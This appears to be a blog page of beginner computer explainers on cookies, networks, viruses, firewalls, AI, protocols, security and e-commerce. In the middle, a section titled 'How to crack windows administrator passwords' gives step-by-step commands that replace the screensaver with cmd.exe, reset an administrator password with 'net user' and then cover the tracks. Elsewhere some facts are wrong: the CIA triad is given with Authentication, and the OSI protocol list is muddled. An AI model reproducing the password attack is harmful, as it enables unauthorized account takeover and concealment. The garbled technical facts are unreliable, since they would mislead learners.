what are cookies

Cookies are small text files that some websites put on your computer to store a variety of information about you and your preferences. Here are answers to some common questions about cookiesWebsites use cookies to offer a personalized experience to users and to gather information about website use. Many websites also use cookies to store information that provides a consistent experience between sections of the site, such as a shopping cart or customized pages. With a trusted website, cookies can enrich your experience by allowing the site to learn your preferences or allowing you to skip having to sign in every time you go to the website. However, some cookies, such as those saved by banner ads, might put your privacy at risk by tracking sites you visit.
You can block or allow cookies on all websites or you can choose which websites' cookies are allowed.Blocking all cookies can help protect your privacy, but it might limit your experience on some websites. Be selective about which websites you allow cookies for. You can start by blocking all cookies, then allow cookies as needed for websites that you trust.Cookies are stored is in a folder named Cookies which is stored inside the Documents and Settings folder. By default, the path is C:\Documents and Settings\your user name\Cookies.
To delete all the cookies:

Start run command and type cookies and open it in the cookies folder delete all the files except the index fileTemporary, or session, cookies are removed from your computer after you close Internet Explorer. Websites use them to store temporary information, such as items in your shopping cart.
Persistent, or saved, cookies remain on your computer after you close Internet Explorer. Websites use them to store information, such as your sign-in name and password, so that you don't have to sign in each time you go to a particular site. Persistent cookies can remain on your computer for days, months, or even years.

Networking types

Networking is the interconnection of two or more computers for resource sharing. Network models classify networks by size, distance and structure. These models help in understanding the relationship among centralized, distributed and collaborative computing systems. There are three fundamental classifications of network models: They are

Local Area Network (LANs)
Metropolitan Area Network (MANs)
Wide Area Network (WANs)

A LAN links a small group of functionally similar workstations within a local geographic area such as a series of adjacent cubicles or offices on the same floor. Once the network expands to include other floors or divers offices within a metropolitan area, it becomes a MAN. Finally, a WAN is simply a LAN of LANs. WANs expand the boundaries of networking to a global (or even galactic) scale.

Local Area Network (LANs). A local area network combines computer hardware and transmission media in a relatively small area. These systems are usually contained within one department, building or campus. In addition, LANs typically comprise only one transmission media type such as coaxial cable or twisted pair but never both. LANs are characterized by comparatively high-speed communications. These high speeds are possible because LANs use one kind of cable which generally is limited to 5KM or less. MANs and WANs, on the other hand, typically rely on unbound communication media which equates to much slower speeds. LANs occupy a relatively small area, include a relatively small number of machines and the components connect directly to the communication media. LAN hardware gives the system its processing communications, system fault tolerance, and most important, connectivity. LAN software endows the system with productivity, user interface, network management and most important, user transparency.

The two most important components in a LAN are the file server (hardware) and network operating system (software). The data transfer rate ranges from 1 byte to 5 GB pre second. LAN also can act as gateway for internetwork communication and as bridge between two networks. Major advantage of this system is the security provide because no any outsiders can access the resources of a private network.

what are computer viruses

Computer viruses have various names and they are just like pathogenic viruses in medical science. However, the computer virus is a program whereas the pathogenic viruses are not. Millions of computers are affected with virus and damages done by viruses are in terms billions of dollars. In the medical institutions, research institutions, educational institutions, banking institutions, research centers, commercial organizations, desktop publishing companies, government and non-government organizations, etc. the effect of viruses is increasing day by day. In developed countries also the effect of viruses on computers has become a big problem. Some companies are interested in producing Antivirus programs which can remove some viruses. But it is not sure that your computer can still be virus free once it is infected.
Virus is the term used to describe any group of willfully destructive computer programs. The computer viruses destroy the data and computer software. Some computer viruses can damage even the hardware components. The nature of viruses varies. Sometimes, they increase the program size by adding some unnecessary bytes and sometimes they kill some bytes. Thus, their effect cannot be declared unless a particular type is not identified. They dislocate the data, program or destroy vital information resource by ceasing the program components. The viruses possess two major characteristics: they can self replicate and they can transmit themselves to another computer without the knowledge of the user.
A computer virus is a small malicious program written in Assembly language or a system programming language like ‘C’. Its aim is to replicate on computers and cause impediment in the normal functioning of the computer. Viruses differ in their mode of replication and their harmful effects.
The history of virus can be traced to the early 80’s when Gene Burelon, an employee of US security firm placed a virus on the computer network of the firm and managed to destroy 168000 records of database. He lost his job but is still remembered as a pioneer in the virus field. In 1983, Dr Frederick Cohen experimented at the University of Pennsylvania with self replicating code and started to use the term virus.

What is Firewall

A firewall helps to keep your computer more secure. It restricts information that comes to your computer from other computers, giving you more control over the data on your computer and providing a line of defense against people or programs (including viruses and worms) that try to connect to your computer without invitation.

You can think of a firewall as a barrier that checks information (often called traffic) coming from the Internet or a network and then either turns it away or allows it to pass through to your computer, depending on your firewall settings.

Firewall is turned on by default. (However, some computer manufacturers and network administrators might turn it off.)

How does it work?
When someone on the Internet or a network tries to connect to your computer, we call that attempt an "unsolicited request." When your computer gets an unsolicited request, Firewall blocks the connection. If you run a program such as an instant messaging program or a multi player network game that needs to receive information from the Internet or a network, the firewall asks if you want to block or unblock (allow) the connection. If you choose to unblock the connection, Firewall creates an exception so that the firewall won't bother you when that program needs to receive information in the future.

For example, if you are exchanging instant messages with someone who wants to send you a file (a photo, for example), Firewall will ask you if you want to unblock the connection and allow the photo to reach your computer. Or, if you want to play a multi player network game with friends over the Internet, you can add the game as an exception so that the firewall will allow the game information to reach your computer.

Although you can turn off Firewall for specific Internet and network connections, doing this increases the risk that the security of your computer might be compromised.

What Windows Firewall does and does not do

Helps block computer viruses and worms from reaching your computer. Detect or disable computer viruses and worms if they are already on your computer. For that reason, you should also install antivirus software and keep it updated to help prevent viruses, worms, and other security threats from damaging your computer or using your computer to spread viruses to others.
Ask for your permission to block or unblock certain connection requests. Stop you from opening e-mail with dangerous attachments. Don't open e-mail attachments from senders that you don't know. Even if you know and trust the source of the e-mail you should still be cautious. If someone you know sends you an e-mail attachment, look at the subject line carefully before opening it. If the subject line is gibberish or does not make any sense to you, check with the sender before opening it.
Create a record (a security log), if you want one, that records successful and unsuccessful attempts to connect to your computer. This can be useful as a troubleshooting tool. If you want Firewall to create a security log, see Enable security logging options. Block spam or unsolicited e-mail from appearing in your inbox. However, some e-mail programs can help you do this. Check the documentation for your e-mail program to learn more.

Hardware Firewall

A hardware firewall is a piece of equipment that you physically connect to your network. It monitors all aspects of the communications that are sent and received, and inspects the source and destination address of each message that it handles. This provides security in helping to prevent intrusions to your computer or network. A software firewall performs a similar function by using a program inside your computer instead of an external device.
A firewall is a protective boundary between a computer (or a network of computers) and the outside world, where people or programs might try to access your computer without invitation. Hackers commonly use software that scans the Internet looking for computers with unprotected Internet connections. This software sends a very small message to your computer. If your computer does not have a firewall, your computer will automatically answer the message and thus announce that it is unprotected. But if you have set up a firewall, it will receive such messages and not answer them, so hackers won't even know that your computer exists.

How to crack windows administrator passwords.

This is a good computer trick for Microsoft Windows trick I've tried. You can crack the administrator passwords with this. Just log on and go to the DOS command prompt. Then enter these commands exactly iin the DOS prompt:
cd\
cd windows
cd system32
md temphck
copy logon.scr temphck\logon.scr
copy cmd.exe tempack\cmd.exe
erase logon.scr
ren cmd.exe logon.scr
exit

So what we just did is instructed the windows to backup the command program and the screen saver file. Then you modified the settiings so when windows loads the screen saver file, an unprotected dos prompt will be prompted without logging in. Then enter this command:
net user username password

username=computer username
password= your new password

For instances if the administrator name is John and you want to keep the password 123456 then enter

net user John 123456

Then you are done.
Log in, get y0ur work done, copy the contents of temphck folder that you created back to system32 to cover your tracks.
If you can't try this to cover your tracks:
copy temphck\logon.scr system32
copy temphck\cmd.exe system32
rd temphck
exit

If you need help, just mail me at nolonley@gmail.com

Impacts of computer on society

Today we find mostly positive as well as some negative impacts of computer on society. Computers are used in sensitive areas like civil aviation, banking, insurance, public transportation, national defense and in similar sensitive areas. Needless to know it is a machine that slavishly follows instruction given by the user. If the user gives wrong instruction to the computer there is a chance of accident which may result in the loss of life and property. So we will be discussing some positive and negative impacts of computers on our society.
Computers are used to provide better service in sectors like banking or airline reservations, or insurance, or a higher quality product like automobile parts. They are used to provide decision-makers, also called expert systems with accurate up-to-date information, so that better business decisions can be made. Computers are also used to monitor instruments, as in process control applications. Thus relieving human beings from drudgery, enabling them to concentrate on more creative tasks. A computer can provide round-the clock attention to patients, relieving nurses for other duties. In a teaching environment, the computer can be a patient, ever-attentive disseminator/tester of information. And not least, it can be the source of hours of fun when used to play a fascinating range of games.

It seems the computer can do no wrong- it is all benefits and efficiency. But is this really so? The computer is a tool and, like all tools, can be used to advantage or can be abused. Already, there is disappointment about microcomputer- thousands of people own micros which never lived up to the promises of their makers. The introduction of computers in the workplace has caused unemployment and apprehension among workers. Errors in computer systems have caused hardships and inconvenience to individuals. And unless computer systems are properly monitored and controlled, there is a very real threat to the privacy of ordinary citizens. However we can avoid the worst of the cloudburst by being aware of its presence and recognizing its potential for danger and disruption.

Artificial Intelligence(AI): II

In the latter sense, the term Artificial Intelligence (AI) has been applied to computer systems and programs capable of performing tasks more complex than straightforward programming, although still far from the scope of actual thought. The most important fields of research in this area are information processing, pattern recognition, game-playing computers and applied fields such as medical diagnosis. Current research in information processing deals with programs that enable a computer to understand written or spoken information and to produce summaries, answer specific questions, or redistribute information to users interested in specific areas of this information. Essential to such programs is the ability of the system to generate grammatically correct sentences and to establish linkages between words, ideas and associations with other ideas. Research has shown that whereas the logic of language structure – its syntax- submits to programming, the problem of meaning, or semantics, lies far deeper, in the direction of true AI.

In medicine, programs have been developed that analyze the disease symptoms, medical history, and laboratory test results of patients, and then suggest a diagnosis to the physician. The diagnostic program is an example of so-called expert systems- programs designed to performs tasks in specialized areas as a human would. Expert systems take computers a step beyond straightforward programming being based on a technique called rule-based interference, in which pre-established rule systems are used to process the data. Despite their sophistication, systems still do not approach the complexity of true intelligent thought.

Many scientists remain doubtful that true Artificial Intelligence (AI) can ever be developed. The operation of the human mind is still little understood, and computer design may remain essentially incapable of analogously duplication those unknown, complex processes. Various routes are being used in the effort to reach the goal of true AI. One approach is to apply the concept of parallel processing- interlinked and concurrent computer operations. Another is to create network of experimental computer chips, called silicon neurons that mimic data processing functions of brain cells. Using analog technology, the transistors in these chips emulate nerve-cell membranes in order to operate at the speed of neurons.

Research in Artificial Intelligence (AI) is concentrated in some half-dozen areas. In problem solving, one must proceed from a beginning (the initial state) to the end (the goal stare) via a limited number of steps; Artificial Intelligence (AI) here involves an attempt to model the reasoning process in solving a problem.

What is Artificial Intelligence (AI)

Artificial Intelligence is a combination of computer science, physiology and philosophy. Artificial Intelligence is a broad topic, consisting of different fields, from machine vision to expert systems. An Expert system is software which utilizes a knowledge base collected from human specialist in a certain area, and helps users refer to this expertise in marking their own decision.
An Artificial intelligence system has a knowledge base and programming technique to probe and process the facts in the knowledge base. The development of a knowledge base is very difficult and time consuming job. To develop a knowledge base the designers and researchers consult experts of a particular field. They collect facts that are based on the knowledge base for its Artificial intelligence. Also expert's knowledge and expert system also uses the decision rules of human specialists to reach certain conclusion and to give recommendation. The recommendation made by an expert system is based on the collection of information in the knowledge base. Hence, knowledge base must be updated regularly. An expert system selects one of many to perform such logical functions. It asks users to supply information on a problem. Computer then process the information and reaches conclusion making use of the knowledge base.
Several expert systems in various specialized fields have been developed and are in use. Important specialized fields are medicine, training, computer science, mathematics engineering, chemistry, biology, defense, oil industry, mining geology etc. A number of medical diagnostic expert systems have been developed to diagnose diseases and recommend treatment.
Artificial intelligence (AI), a term that in its broadest sense would indicate the ability of an artifact to perform the same kind of functions that characterize human thought. The possibility of developing some such artifact has intrigued human beings since ancient times. With the growth of modern science, the search for Artificial intelligence (AI) has taken two major directions; psychological and physiological research into the nature of human thought, and the technological development of increasingly sophisticated computing systems.

what are internet protocols(IPs)

Protocols are the rules for transmission. For a transmission of data information to be successful, each of the devices/computer attached to both ends must speak the same set of devices and same types of software. Practically it is not possible in this distributed world. To overcome this limitation, certain set of rules which are common and acceptable by both parties are developed which play a role of intermediatory/ interpreter between the sender and the receiver, which is known as protocols. For example, TCP/IP is a open protocol for the system's engaged in communication through internet.

Data on an Internet Protocol network is organized into packets. Each IP packet includes both a header (that specifies source, destination, and other information about the data) and the message data itself.

Given below are some of the protocol sets used in different OSI model:

• Application layer :- FTP/TFTP, TELNET,GOPHER, HTP
• Presentation layer:- SMTP/NFS
• Session layer :- Telnet, SNMP
• Transport layer :- TCP, UDP
• Network layer :- IP
• Datalink layer :- ARP, RARP, RIP
• Physical layer :- Ethernet, Token Ring, FDDI
  

The term computer security is used frequently, but the content of a computer is vulnerable to few risks unless the computer is connected to other computers on a network. Today we can find mostly positive as well as some negative impact of computers on society. Computers are increasingly being used in sensitive areas like civil aviation, banking, insurances, public transportation, national defense and in similar sensitive areas. computers are used to provide better service in sectors like banking or airline, reservation for insurance, or a higher quality product like automobile parts. They are used to provide decision makers, also called expert systems with accurate, up-to-date information, so that better business decisions can be made. The main aim of computer security includes protection of information and property from theft, corruption, or natural disaster, and also allowing the information and property to remain accessible and productive to its intended users.
Information can be stolen, modified, corrupted and even used as a weapon to deny access to information stored on other computer systems or networks.IT Security, as a concept, is often synonymous with Computer Security. Computer security is frequently associated with three core areas, which can be conveniently summarized by the acronym "CIA":
* Confidentiality -- Ensuring that information is not accessed by unauthorized persons
* Integrity -- Ensuring that information is not altered by unauthorized persons in a way that is not detectable by authorized users
* Authentication -- Ensuring that users are the persons they claim to be

computer network

Some years back, when people wanted to access the same file or software at same time, the they had to copy the files and software to all the computers. I other words,l the facility of sharing files, software data and hardware was not available. They could not share hardware resources or others. Now, the time has changed. The computers can now be connected to each other so that any resources like files, softwares, data or hardware can be shared and file can be copied from one computer to other. Networking is the process of interconnecting two or more computers for sharing resources. In other words network is a group of various components or to collect, distribute the information among the entire group.
A computer network is interconnection of computers and peripherals linked together so that they can share data, applications and messages and resources like printers, hard disks CD-rom etc. Information sharing has been revolutionized by computer networking. computer networking has increased worker productivity yielding more profits. computer network helps in business, small or big. It helps in offices too. computer networking helps in creating backups of important files and information that u may not want to lose or in case of accidents, computer network helps in easy recovery of your data.

Concept of E-commerce

   

          E-commerce refers to the commercial transactions of services in an electronic format. E-commerce is  generally described as a method of buying and selling products and services electronically. Mostly people think E-commerce means online shopping but it is just only a small part of E-commerce. E-commerce is doing business electronically by bringing together buyers and sellers. It integrates data, electronic communication and security services to facilitate business applications. It makes use of computers and telecommunications for several business transactions that comprise the basic operation of the company including communication and co-ordination with suppliers, financial institutions, consumers, banks, insurance agents, distribution channels and other trading partners. E-commerce is a dynamic set of technologies applications and business processing that link enterprises, consumers and communities through electronic transactions and the electronic exchange of goods, services and information. E-commerce has been able to change the way business functioned and the strategies that business organization would adopt in order to face competition.
Even small organization would be able to access large number of consumers. Improved and speedier interaction between buyers and suppliers reduction in operating costs and increase in productivity and high profit. Through electronic means detail information on products and services can be made available very easily to customers. Also information and feedback from customer and users can be available, so that the supplier or service provider can know the needs of the customer. Internet offers an integrated marketing, services and sales facility because Internet marketing and advertising has a global reach and information on Internet can be updated and made available on no time.